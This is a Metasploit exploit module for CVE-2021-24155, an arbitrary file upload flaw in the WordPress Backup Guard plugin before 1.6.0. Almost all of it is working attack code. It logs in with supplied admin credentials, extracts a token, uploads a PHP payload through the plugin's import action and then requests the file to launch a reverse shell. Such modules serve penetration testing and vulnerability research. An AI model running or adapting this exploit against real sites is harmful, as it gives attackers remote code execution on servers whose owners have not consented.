wp_plugin_backup_guard_rce.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Wordpress Plugin Backup Guard - Authenticated Remote Code Execution',
        'Description' => %q{
          This module allows an attacker with a privileged Wordpress account to launch a reverse shell
          due to an arbitrary file upload vulnerability in Wordpress plugin Backup Guard < 1.6.0.
          This is due to an incorrect check of the uploaded file extension which should be of SGBP type.
          Then, the uploaded payload can be triggered by a call to `/wp-content/uploads/backup-guard/<random_payload_name>.php`
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Nguyen Van Khanh', # Original PoC, discovery
          'Ron Jost', # Exploit-db
          'Yann Castel (yann.castel[at]orange.com)' # Metasploit module
        ],
        'References' => [
          ['EDB', '50093'],
          ['CVE', '2021-24155'],
          ['CWE', '434'],
          ['WPVDB', 'd442acac-4394-45e4-b6bb-adf4a40960fb'],
          ['URL', 'https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=2473510%40backup&old=2472212%40backup&sfp_email=&sfph_mail=']
        ],
        'Platform' => [ 'php' ],
        'Arch' => ARCH_PHP,
        'Targets' => [
          [ 'Wordpress Backup Guard < 1.6.0', {}]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2021-05-04',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options [
      OptString.new('USERNAME', [true, 'Username of the admin account', 'admin']),
      OptString.new('PASSWORD', [true, 'Password of the admin account', 'admin']),
      OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/'])
    ]
  end

  def check
    return CheckCode::Unknown('Server not online or not detected as wordpress') unless wordpress_and_online?

    cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
    return CheckCode::Detected('Authentication to Wordpress failed.') unless cookie

    check_plugin_version_from_readme('backup', '1.6.0')
  end

  def get_token(cookie)
    r = send_request_cgi({
      'method' => 'GET',
      'cookie' => cookie,
      'uri' => normalize_uri(target_uri.path, 'wp-admin/admin.php'),
      'Referer' => full_uri('/wp-admin/users.php'),
      'vars_get' => {
        'page' => 'backup_guard_backups'
      }
    })
    fail_with(Failure::Unknown, "Target #{RHOST} could not be reached.") unless r
    res = r.body.to_s.match(/&token=(\h+)/)
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve the token.') unless res
    res[1]
  end

  def exploit
    cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
    fail_with(Failure::UnexpectedReply, 'Authentication failed') unless cookie
    token = get_token(cookie)
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve the Backup Guard token') unless token
    payload_name = "#{Rex::Text.rand_text_alpha_lower(5)}.php"

    post_data = Rex::MIME::Message.new
    post_data.add_part(payload.encoded, 'text/php', nil, "form-data; name='files[]'; filename=#{payload_name}")

    print_status("Uploading file \'#{payload_name}\' containing the payload...")

    r = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/wp-admin/admin-ajax.php'),
      'headers' => {
        'Origin' => full_uri(''),
        'Referer' => full_uri('/wp-admin/admin.php?page=backup_guard_backups'),
        'X-Requested-With' => 'XMLHttpRequest'
      },
      'vars_get' =>
      {
        'action' => 'backup_guard_importBackup',
        'token' => token
      },
      'cookie' => cookie,
      'data' => post_data.to_s,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
    )

    fail_with(Failure::UnexpectedReply, "Wasn't able to upload the payload file") unless r&.code == 200
    register_files_for_cleanup(payload_name.to_s)

    print_status('Triggering the payload ...')
    send_request_cgi(
      'method' => 'GET',
      'cookie' => cookie,
      'uri' => normalize_uri(target_uri.path, "/wp-content/uploads/backup-guard/#{payload_name}")
    )
  end
end